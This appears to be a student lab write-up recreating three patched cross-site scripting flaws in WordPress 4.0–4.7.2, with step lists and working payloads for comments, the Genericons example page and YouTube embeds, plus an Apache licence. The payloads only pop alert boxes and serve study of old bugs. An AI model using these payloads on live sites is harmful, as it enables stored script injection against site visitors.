Time spent: 10 hours spent in total
Objective: Find, analyze, recreate, and document 3 vulnerabilities affecting an old version of WordPress
- (Required) WordPress <= 4.2 - Unauthenticated Stored Cross-Site Scripting (XSS)
- Summary:
- Vulnerability types:XSS
- Tested in version:4.2
- Fixed in version:4.2.1
- GIF Walkthrough:

- Steps to recreate:
- Login as Guest
- Go on any post down to comment section
- post
<a title='x onmouseover=alert(2) style=position:absolute;left:0;top:0;width:5000px;height:5000px AAAAAAAAAAAA...[64 kb]..AAA'></a> - Beware the "A" needs to be 64kbs and over, in order to work.
- Need admin comment approval.
- (Required) WordPress 4.1-4.2.1 - Unauthenticated Genericons Cross-Site Scripting (XSS)
- Summary:
- Vulnerability types:XSS
- Tested in version:4.2
- Fixed in version: 4.2.2
- GIF Walkthrough:

- Steps to recreate: first Login as admin next Create new post then Post http://www.example.com/wp-content/themes/twentyfifteen/genericons/example.html#1<img/ src=1 onerror= alert('hello')> last Publish and view the post.
- (Required)WordPress 4.0-4.7.2 - Authenticated Stored Cross-Site Scripting (XSS) in YouTube URL Embeds
- Summary:
- Vulnerability types:XSS
- Tested in version:4.0
- Fixed in version:4.7.2
- GIF Walkthrough:

- Steps to recreate: first Login as admin next Create new post then Post [embed src='https://www.youtube.com/embed/12345\x3csvg onload=alert("Hello")\x3e'][/embed] last Publish and view the page
List any additional assets, such as scripts or files
GIFs created with LiceCap.
Describe any challenges encountered while doing the work
Copyright [2018] [Charlie Ding]
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.